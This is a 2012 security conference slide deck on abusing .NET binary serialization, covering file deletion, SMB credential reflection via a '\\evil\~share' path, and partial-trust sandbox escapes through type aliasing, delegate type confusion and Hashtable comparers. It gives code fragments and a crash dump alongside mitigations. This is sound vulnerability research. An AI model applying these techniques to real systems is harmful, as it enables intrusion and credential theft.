ARE YOU MY TYPE?
Breaking .NET sandboxes through Serialization
James Forshaw
Research. Response. Assurance.
Research. Response. Assurance
What am I going to talk about?
• The research I did which ended up as MS12-
035
• Misuse of Microsoft .NET Binary Serialization
– Attacking badly written applications
– Attacking .NET remoting services
– Circumventing CAS and escaping Partial Trust
Sandboxes
• Not all issues have been fixed, some only
mitigated
Research. Response. Assurance
Who are we?
Key facts Core Services
• Specialist technical • Research
• security consultancy • Assurance
• Approximately 100 strong • Response
• Offices in UK, Germany and
Australia
Research. Response. Assurance
What is Serialization?
"A mechanism to transform a data structure
into a form that can be stored or transmitted
and later recreated at another time or
location"
- James Forshaw - Blackhat USA 2012
Research. Response. Assurance
Why Serialization?
• Other technologies show it can be dangerous;
– Java
• CVE-2008-5353 – Java Calendar Serialization Vulnerability
– COM
• See Blackhat 2009 - Attacking Interoperability
– PHP
• unserialize() misuse
Research. Response. Assurance
.NET Serialization Support
Technology .NET Version Introduced
IFormatter Serialization (Binary
1.0
and SOAP)
XML Serialization 1.0
Data Contracts (WCF) 3.0
JSON 3.5
Research. Response. Assurance
Binary Serialization
• Cannot just serialize any object
[Serializable]
class SerializableClass
{
public string SomeValue;
}
Research. Response. Assurance
Binary Serialization
• Cannot just serialize any object
[Serializable]
class SerializableClass
{
public string SomeValue;
}
Research. Response. Assurance
Binary Serialization
• Cannot just serialize any object
[Serializable] Must be specified
class SerializableClass
{
public string SomeValue;
}
Research. Response. Assurance
What does it look like?
public static byte[] Serialize(Object o)
{
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.Serialize(stm, o);
return stm.ToArray();
}
Research. Response. Assurance
What does it look like?
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";
byte[] data = Serialize(c);
Research. Response. Assurance
What does it look like?
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";
byte[] data = Serialize(c);
Library
Name
Research. Response. Assurance
What does it look like?
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";
byte[] data = Serialize(c);
Type
Name
Research. Response. Assurance
What does it look like?
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";
byte[] data = Serialize(c);
Field
Name
Research. Response. Assurance
What does it look like?
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";
byte[] data = Serialize(c);
Value
Research. Response. Assurance
Badly Written Applications
• With great power comes great responsibility.
• Would the use of the BinaryFormatter in an
untrusted scenario be an issue?
• Surely only if you do something to cause a
problem?
Research. Response. Assurance
Implicit Functionality
• What if the very act of deserialization is itself
malicious?
public static SomeClass Deserialize(byte[] data)
{
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream(data);
return fmt.Deserialize(stm) as SomeClass;
}
Research. Response. Assurance
Implicit Functionality
• What if the very act of deserialization is itself
malicious?
public static SomeClass Deserialize(byte[] data)
{
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream(data);
return fmt.Deserialize(stm) as SomeClass;
} You might be
too late!
Research. Response. Assurance
ISerializable Interface
[Serializable]
class CustomSerializableClass : ISerializable
{
public string SomeValue;
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
info.AddValue("SomeValue", SomeValue);
}
// ...
}
Research. Response. Assurance
ISerializable Interface
[Serializable]
class CustomSerializableClass : ISerializable
{
public string SomeValue;
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
info.AddValue("SomeValue", SomeValue);
}
// ...
} Store value in
Dictionary
Research. Response. Assurance
ISerializable Deserializing
[Serializable]
class CustomSerializableClass : ISerializable
{
public string SomeValue;
// ...
protected CustomSerializableClass(SerializationInfo info,
StreamingContext context)
{
SomeValue = info.GetString("SomeValue");
}
}
Research. Response. Assurance
ISerializable Deserializing
[Serializable]
class CustomSerializableClass : ISerializable
{
public string SomeValue;
// ...
protected CustomSerializableClass(SerializationInfo info,
StreamingContext context)
{
SomeValue = info.GetString("SomeValue");
}
}
Restore value
Research. Response. Assurance
Types of Interest .NET 4
Library Serializable ISerializable Callbacks Finalizable
mscorlib 681 268 56 2
System 312 144 13 3
System.Data 103 66 1 2
System.Xml 33 30 0 0
Management 68 68 0 4
Research. Response. Assurance
Just Being Malicious
[Serializable]
public class TempFileCollection
{
private Hashtable files;
// Other stuff...
~TempFileCollection()
{
foreach (string file in files.Keys)
{
File.Delete(file);
}
}
}
Research. Response. Assurance
Just Being Malicious
[Serializable]
public class TempFileCollection
{
private Hashtable files; Deserialized list of files
// Other stuff...
~TempFileCollection()
{
foreach (string file in files.Keys)
{
File.Delete(file);
}
}
}
Research. Response. Assurance
Just Being Malicious
[Serializable]
public class TempFileCollection
{
private Hashtable files; Deserialized list of files
// Other stuff...
~TempFileCollection()
{
foreach (string file in files.Keys)
{
Makes sure to delete
File.Delete(file);
them when object
}
destroyed!
}
}
Research. Response. Assurance
Demonstration
• Demo of malicious serialized object,
deleting arbitrary files
• Using a "badly" written application which
deserializes untrusted input
• Windows 7
Research. Response. Assurance
How to protect against this?
• Use of SerializationBinder to limit types
deserialized
• Do not trust external data with
BinaryFormatter
• Use something else (e.g. XMLSerializer, Data
Contracts, Protobuf.NET)
Research. Response. Assurance
I Am Feeling Safer Already!
• So you are not using BinaryFormatter in your
code, you are safe, right?
• Well maybe, are you using:
– .NET Remoting?
– Partial Trust Sandboxes?
• If yes then you could still be vulnerable
without knowing it
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
AppDomain AppDomain
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
Well Known
Service
AppDomain AppDomain
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain AppDomain
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Research. Response. Assurance
.NET Remoting Architecture
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Research. Response. Assurance
Marshal By Reference
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Marshal By
Reference
Object
Research. Response. Assurance
Marshal By Reference
AppDomain Boundary
RemObject.DoWork(a) Transparent
Proxy
Well Known
Service
AppDomain TCP Channel AppDomain
ObjRef
Marshal By
Reference
Object
Research. Response. Assurance
Marshal By Reference
AppDomain Boundary
RemObject.DoWork(a) Transparent
Proxy
Well Known
Service
AppDomain TCP Channel AppDomain
ObjRef
Marshal By
Reference
Object
Research. Response. Assurance
Marshal By Value
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Serializable
Object
Research. Response. Assurance
Marshal By Value
AppDomain Boundary
RemObject.DoWork(a)
Well Known
Service
AppDomain TCP Channel AppDomain
Serializable
Object
Research. Response. Assurance
Marshal By Value
AppDomain Boundary
RemObject.DoWork(a) Serializable
Object
Well Known
Service
AppDomain TCP Channel AppDomain
Serializable
Object
Research. Response. Assurance
More Active Attacks
[Serializable]
public class FileInfo
{
private string FullPath;
protected FileInfo(SerializationInfo info,
StreamingContext context)
{
FullPath = NormalizePath(info.GetString("FullPath"));
}
}
Research. Response. Assurance
More Active Attacks
[Serializable]
public class FileInfo
{
private string FullPath;
protected FileInfo(SerializationInfo info,
StreamingContext context)
{
FullPath = NormalizePath(info.GetString("FullPath"));
}
}
Ensures path is canonical
Research. Response. Assurance
Path Normalization
string NormalizePath(string path)
{
string[] parts = path.Split('\\');
foreach(string part in parts)
{
currPath += "\\" + part;
if(part[0] == '~')
{
GetLongPathName(currPath);
}
}
}
Research. Response. Assurance
Path Normalization
string NormalizePath(string path)
{
string[] parts = path.Split('\\');
foreach(string part in parts)
{
currPath += "\\" + part;
if(part[0] == '~')
{
GetLongPathName(currPath);
}
}
} If potential short path
call Windows API
Research. Response. Assurance
Exploiting FileInfo
• Pass in a filename of the form:
– \\evil\~share
• Application will make an SMB request during
deserialization
• SMB Reflection/Relay anyone?
Research. Response. Assurance
They Saw Us Coming
Research. Response. Assurance
They Saw Us Coming
Research. Response. Assurance
TypeFiltering
Attacker TCP Channel Remote Server
FileInfo
\\evil\~share
Research. Response. Assurance
TypeFiltering
Attacker TCP Channel Remote Server
FileInfo
\\evil\~share
Research. Response. Assurance
TypeFiltering
Attacker TCP Channel Remote Server
FileInfo
\\evil\~share
Research. Response. Assurance
Bypassing TypeFiltering
Attacker TCP Channel Remote Server
DataSet
Research. Response. Assurance
Bypassing TypeFiltering
DataSet
Attacker TCP Channel Remote Server
DataSet
Research. Response. Assurance
Bypassing TypeFiltering
DataSet
Attacker TCP Channel Remote Server
DataSet
Research. Response. Assurance
Bypassing TypeFiltering
SMB \\evil\~share
DataSet
Attacker TCP Channel Remote Server
DataSet
Research. Response. Assurance
Demonstration
• Demo of malicious serialized object with
SMB reflection
• This demo only works on OSes prior to MS08-
068 (using XP SP2)
• The actual issue however isn't fixed
• Can still be used for information gathering or
credential relay on an up to date OS
Research. Response. Assurance
How to protect against this?
• Windows Communication Foundation (WCF)
is recommended for new applications
– Don't expose to the Internet
– Enable Authentication
• However, “What works up, probably works
down”
• Impersonate server and attack clients
Research. Response. Assurance
Partial Trust Sandboxes
Host AppDomain
Host Class
Research. Response. Assurance
Partial Trust Sandboxes
AppDomain Boundary
Host AppDomain Channel
Host Class
Research. Response. Assurance
Partial Trust Sandboxes
AppDomain Boundary
Host AppDomain Channel PT AppDomain
Host Class
Research. Response. Assurance
Partial Trust Sandboxes
AppDomain Boundary
Untrusted
Class
Host AppDomain Channel PT AppDomain
Host Class
Research. Response. Assurance
Partial Trust Sandboxes
AppDomain Boundary
Untrusted
Class
Host AppDomain Channel PT AppDomain
Host Class
Research. Response. Assurance
Partial Trust Sandboxes
AppDomain Boundary
Untrusted
Class
Host AppDomain Channel PT AppDomain
Host Class
Research. Response. Assurance
Code Access Security
• Some God like privileges:
– Unmanaged Code Access
– Control AppDomain
– Skip IL Verification
– Access to Serialization Services!
• Will not have Serialization permission
• Find an AppDomain transition!
Research. Response. Assurance
Easier Than You Would Think!
Exception ex = new Exception();
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;
Research. Response. Assurance
Easier Than You Would Think!
• In XBAP the following code passes objects
across the boundary:
Exception ex = new Exception(); Exception class is serializable
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;
• Fixed as CVE-2012-0161
Research. Response. Assurance
Easier Than You Would Think!
• In XBAP the following code passes objects
across the boundary:
Add our object to
Exception ex = new Exception(); exception "Data"
dictionary
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;
• Fixed as CVE-2012-0161
Research. Response. Assurance
Easier Than You Would Think!
• In XBAP the following code passes objects
across the boundary:
Exception ex = new Exception();
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex; Cross boundary causing serialization then deserialization
• Fixed as CVE-2012-0161
Research. Response. Assurance
We Still Have a Problem
• Need privileged access to create or
manipulate vulnerable classes.
• Cannot directly provide binary stream
• How can partial trust code possibly
manipulate the serialization process?
Research. Response. Assurance
ISerializable Redux
[Serializable]
class CustomSerializableClass : ISerializable
{
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
// Change our type to something else!
info.SetType(typeof(FileInfo));
info.AddValue("OriginalPath", @"\\server\~share");
}
}
Research. Response. Assurance
ISerializable Redux
[Serializable]
class CustomSerializableClass : ISerializable
{
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
// Change our type to something else! Deserialize as an
info.SetType(typeof(FileInfo)); unrelated type
info.AddValue("OriginalPath", @"\\server\~share");
}
}
Research. Response. Assurance
ISerializable Redux
[Serializable]
class CustomSerializableClass : ISerializable
{
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
// Change our type to something else! Deserialize as an
info.SetType(typeof(FileInfo)); unrelated type
info.AddValue("OriginalPath", @"\\server\~share");
}
} Fake serialization data
Research. Response. Assurance
Type Conversion
AppDomain Boundary
Host AppDomain Channel PT AppDomain
Exception
Research. Response. Assurance
Type Conversion
AppDomain Boundary
Host AppDomain Channel PT AppDomain
Exception
Research. Response. Assurance
Type Conversion
AppDomain Boundary
Host AppDomain Channel PT AppDomain
Exception Exception
Round Trip Serialize Exception Data
Research. Response. Assurance
But So What?
• What can we actually use this for?
• Could probably do SMB reflection etc.
again but we have code running on the
machine, we must be able to do better?
• What if we could get back the object we
deserialized?
Research. Response. Assurance
Attack of the Clones
• EvidenceBase Class added to .NET 4
• Marked as serializable
• Implements a Clone method
– Common programming technique to copy
object state
Research. Response. Assurance
EvidenceBase.Clone
[SecurityPermission(SecurityAction.Assert,
SerializationFormatter = true)]
public virtual EvidenceBase Clone()
{
using (MemoryStream stream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, this);
stream.Position = 0L;
return formatter.Deserialize(stream) as EvidenceBase;
}
}
Research. Response. Assurance
EvidenceBase.Clone
[SecurityPermission(SecurityAction.Assert, Oh Dear!
SerializationFormatter = true)]
public virtual EvidenceBase Clone()
{
using (MemoryStream stream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, this);
stream.Position = 0L;
return formatter.Deserialize(stream) as EvidenceBase;
}
}
Research. Response. Assurance
Exploiting It!
MyEvidenceBase
PT AppDomain
MyEvidenceBase
Research. Response. Assurance
Delegates
• A fundamental type in the .NET runtime
– Gets special treatment for reasons of
performance
• Effectively a fancy function pointer
• Crucially it is serializable
Research. Response. Assurance
Delegate Multicasting
delegate void MyDelegatePtr(IntPtr p);
public static void DoSomethingPtr(IntPtr p)
{
Console.WriteLine(p);
}
public RunDelegate()
{
MyDelegatePtr d = Delegate.Combine(
new MyDelegatePtr(DoSomethingPtr),
new MyDelegatePtr(DoSomethingPtr));
d(new IntPtr(0x12345678));
}
Research. Response. Assurance
Delegate Multicasting
delegate void MyDelegatePtr(IntPtr p); Type of delegate
public static void DoSomethingPtr(IntPtr p)
{
Console.WriteLine(p);
}
public RunDelegate()
{
MyDelegatePtr d = Delegate.Combine( Combine two
new MyDelegatePtr(DoSomethingPtr), delegates together
new MyDelegatePtr(DoSomethingPtr));
d(new IntPtr(0x12345678));
}
Research. Response. Assurance
Delegate Multicasting
delegate void MyDelegatePtr(IntPtr p); Type of delegate
public static void DoSomethingPtr(IntPtr p)
{
Console.WriteLine(p);
}
public RunDelegate()
{
MyDelegatePtr d = Delegate.Combine( Combine two
new MyDelegatePtr(DoSomethingPtr), delegates together
new MyDelegatePtr(DoSomethingPtr));
Calls DoSomethingPtr twice
d(new IntPtr(0x12345678));
with the same parameter
}
Research. Response. Assurance
Delegate Multicasting
delegate void MyDelegatePtr(IntPtr p); Type of delegate
public static void DoSomethingPtr(IntPtr p)
{
Console.WriteLine(p);
}
public RunDelegate()
{
MyDelegatePtr d = Delegate.Combine( Combine two
new MyDelegatePtr(DoSomethingPtr), delegates together
new MyDelegatePtr(DoSomethingPtr));
Calls DoSomethingPtr twice
d(new IntPtr(0x12345678));
with the same parameter
}
Research. Response. Assurance
Delegate Multicasting
delegate void MyDelegateStr(String s);
public static void DoSomet
hingStr(String s) { }
public RunDelegate()
{
MyDelegatePtr d = Delegate.Combine(
new MyDelegatePtr(DoSomethingPtr),
new MyDelegateStr(DoSomethingStr));
d(new IntPtr(0x12345678));
}
Research. Response. Assurance
Delegate Multicasting
delegate void MyDelegateStr(String s);
public static void DoSomet
hingStr(String s) { }
public RunDelegate()
{
MyDelegatePtr d = Delegate.Combine( Combination fails
new MyDelegatePtr(DoSomethingPtr), with an Exception
new MyDelegateStr(DoSomethingStr));
d(new IntPtr(0x12345678));
}
Research. Response. Assurance
Serialized Delegate
public RunDelegate()
{
// Get a delegate combining IntPtr and String types
MyDelegatePtr d = GetSerializedDelegate();
d(new IntPtr(0x12345678));
}
Research. Response. Assurance
Serialized Delegate
public RunDelegate()
{
// Get a delegate combining IntPtr and String types
MyDelegatePtr d = GetSerializedDelegate();
d(new IntPtr(0x12345678)); Now what will
} this do?
Research. Response. Assurance
Type Confusion
eax=000d3888 ebx=0035b798 ecx=12345678
edx=12345678 esi=0024eae4 edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h]
002f0a00 ff10 call dword ptr [eax]
0:000> !clrstack
OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaac 002f09fb Demo.DoSomethingStr(System.String)
0024eae4 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b Demo.DoTypeConfusion()
Research. Response. Assurance
Type Confusion
eax=000d3888 ebx=0035b798 ecx=12345678 ECX Points to Fake Value
edx=12345678 esi=0024eae4 edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h]
002f0a00 ff10 call dword ptr [eax]
0:000> !clrstack
OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaac 002f09fb Demo.DoSomethingStr(System.String)
0024eae4 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b Demo.DoTypeConfusion()
Research. Response. Assurance
Type Confusion
eax=000d3888 ebx=0035b798 ecx=12345678 ECX Points to Fake Value
edx=12345678 esi=0024eae4 edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h] Results in a
002f0a00 ff10 call dword ptr [eax] VTable look
0:000> !clrstack up and call
OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaac 002f09fb Demo.DoSomethingStr(System.String)
0024eae4 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b Demo.DoTypeConfusion()
Research. Response. Assurance
Type Confusion
eax=000d3888 ebx=0035b798 ecx=12345678 ECX Points to Fake Value
edx=12345678 esi=0024eae4 edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h] Results in a
002f0a00 ff10 call dword ptr [eax] VTable look
0:000> !clrstack up and call
OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaac 002f09fb Demo.DoSomethingStr(System.String) Clearly
0024eae4 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr) Confused
0024eaf4 002f054b Demo.DoTypeConfusion()
Research. Response. Assurance
Demonstration
• Quick demo in a Click Once Application
• Fixed in CVE-2012-0160
• Windows 7
Research. Response. Assurance
Reflection Attack
• EvidenceBase isn't exactly subtle
– Clearly a bug and should be fixed
• What if we could do the same but:
– Without any specific bug
– Works in any version of .NET
– Also be difficult to fix
Research. Response. Assurance
Hashtable Serialization
public class Hashtable
{
object[] keys;
object[] values;
HashBuckets buckets;
protected Hashtable(SerializationInfo info,
StreamingContext context)
{
keys = (object[])info.GetValue("keys");
values = (object[])info.GetValue("values");
buckets = RebuildHashTable(keys, values);
}
}
Research. Response. Assurance
Hashtable Serialization
public class Hashtable
{
object[] keys;
object[] values;
HashBuckets buckets;
protected Hashtable(SerializationInfo info,
StreamingContext context)
{
keys = (object[])info.GetValue("keys"); Deserialize Keys
values = (object[])info.GetValue("values"); and Values
buckets = RebuildHashTable(keys, values);
}
}
Research. Response. Assurance
Hashtable Serialization
public class Hashtable
{
object[] keys;
object[] values;
HashBuckets buckets;
protected Hashtable(SerializationInfo info,
StreamingContext context)
{
keys = (object[])info.GetValue("keys"); Deserialize Keys
values = (object[])info.GetValue("values"); and Values
buckets = RebuildHashTable(keys, values);
}
} Rebuild Hash Table
Research. Response. Assurance
Hashtable Serialization
IEqualityComparer comparer;
private HashBuckets RebuildHashtable(object[] keys,
object[] values)
{
HashBuckets ret = new HashBuckets();
for (int i = 0; i < keys.Length; ++i)
{
ret.Add(comparer.GetHashCode(keys[i]), values[i]);
}
return ret;
}
Research. Response. Assurance
Hashtable Serialization
IEqualityComparer comparer; Serialized with Hashtable
private HashBuckets RebuildHashtable(object[] keys,
object[] values)
{
HashBuckets ret = new HashBuckets();
for (int i = 0; i < keys.Length; ++i)
{
ret.Add(comparer.GetHashCode(keys[i]), values[i]);
}
return ret;
}
Research. Response. Assurance
Hashtable Serialization
IEqualityComparer comparer; Serialized with Hashtable
private HashBuckets RebuildHashtable(object[] keys,
object[] values)
{
HashBuckets ret = new HashBuckets();
for (int i = 0; i < keys.Length; ++i)
{
ret.Add(comparer.GetHashCode(keys[i]), values[i]);
}
return ret;
}
Calls method passing back keys
Research. Response. Assurance
Hashtable Serialization
IEqualityComparer comparer; Serialized with Hashtable
private HashBuckets RebuildHashtable(object[] keys,
object[] values)
{
HashBuckets ret = new HashBuckets();
for (int i = 0; i < keys.Length; ++i)
{
ret.Add(comparer.GetHashCode(keys[i]), values[i]);
}
return ret;
}
Calls method passing back keys
What if this wasn't serialized?
Research. Response. Assurance
Hashtable Exploit
AppDomain Boundary
MyEquality
Comparer
Host AppDomain Channel PT AppDomain
Hashtable
Research. Response. Assurance
Hashtable Exploit
AppDomain Boundary
MyEquality
Comparer
Host AppDomain Channel PT AppDomain
Hashtable
Research. Response. Assurance
Hashtable Exploit
AppDomain Boundary
MyEquality
Comparer
Host AppDomain Channel PT AppDomain
Hashtable Hashtable
Round Trip Serialize Keys, pass
Research. Response. Assurance reference to Comparer
Hashtable Exploit
AppDomain Boundary
Call GetHashCode
passing back each
Key MyEquality
Comparer
Host AppDomain Channel PT AppDomain
Hashtable Hashtable
Round Trip Serialize Keys, pass
Research. Response. Assurance reference to Comparer
Demonstration
• Quick demo in an XBAP
• Worked until May 2012 on any supported
platform
• Route to attack vector closed but
underlying vulnerability still exists
Research. Response. Assurance
How to protect against this?
• Tricky!
• Technically only using normal functions
• Potential for back-compat issues
• Microsoft's fix was to block type aliasing via
SerializationInfo.SetType()
• And block XBAP for ever more
Research. Response. Assurance
Review
• More than just the 2 fixes in MS12-035
– Numerous issues across the framework
• Attacks from Partial Trust mitigated
• .NET Remoting isn't fixed, you should be
using WCF instead!
• Number of objects which still might do
“bad” things
Research. Response. Assurance
Questions?
• More info in Whitepaper
Research. Response. Assurance
References
• Twitter: @tiraniddo, @ctxis
• Email: [email protected]
• WWW: http://www.contextis.com
Research. Response. Assurance